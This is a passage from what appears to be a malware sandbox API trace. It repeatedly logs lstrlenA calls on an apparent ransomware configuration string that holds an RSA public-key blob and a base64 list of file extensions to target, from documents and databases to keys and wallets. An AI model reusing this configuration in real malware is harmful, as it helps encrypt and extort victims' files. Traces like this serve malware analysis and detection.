mssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnN